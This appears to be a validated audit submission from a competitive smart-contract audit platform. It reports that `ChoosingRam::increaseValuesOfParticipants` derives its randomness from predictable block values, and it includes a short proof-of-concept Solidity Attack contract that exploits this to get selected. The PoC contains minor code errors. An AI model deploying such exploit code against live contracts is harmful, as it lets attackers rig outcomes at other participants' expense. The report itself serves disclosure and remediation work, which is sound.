Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Predictable Random - Malicious actors can become selected Ram by calling `increaseValuesOfParticipants` function 5 times in one transaction.

Summary

increaseValuesOfParticipants funciton uses block.timestamp, block.prevrandao, msg.sender to generate random value.
However these 3 values are fixed at each block, so user can easily guess the random value.

Vulnerability Details

function increaseValuesOfParticipants(uint256 tokenIdOfChallenger, uint256 tokenIdOfAnyPerticipent)
public
RamIsNotSelected
{
__SNIP__
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % 2;
__SNIP__
}

As you can see, random is generated by block.timestamp, block.prevrandao, msg.sender, and user can be guess all these value in current block.
So user calls this function five times if random value is even number in given block, and user will become selected ram in result.

interface IRamNFT {
function tokenCounter() external returns (uint256);
function mintRamNFT(address to) public;
}
interface IChoosingRam {
function increaseValuesOfParticipants(uint256 tokenIdOfChallenger, uint256 tokenIdOfAnyPerticipent) public;
}
contract Attack {
IRamNFT private ramNFT;
IChoosingRam private choosingRam;
constructor(address _ramNFT, address _choosingRam) {
ramNFT = IRamNFT(_ramNFT);
choosingRam = IChoosingRam(_choosingRam);
}
function becomeRam() public {
// mint Ram NFT
uint nftId = ramNFT.tokenCounter();
ramNFT.mintRamNFT(address(this));
// guess random value
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % 2;
// increase value and become ram if random == 0
if (random == 0) {
for(uint256 i = 0; i < 5; i++)
choosingRamContract.increaseValuesOfParticipants(nftId, 0);
}
}
}

Malicious actor can call Attack.becomeRam() function to become selected ram.

Impact

User can guess random value easily and exploit it to become selected Ram.

Tools Used

Manual review

Recommendations

Consider using more complex random logic like third party VRF - Chainlink VRF.

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::increaseValuesOfParticipants`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.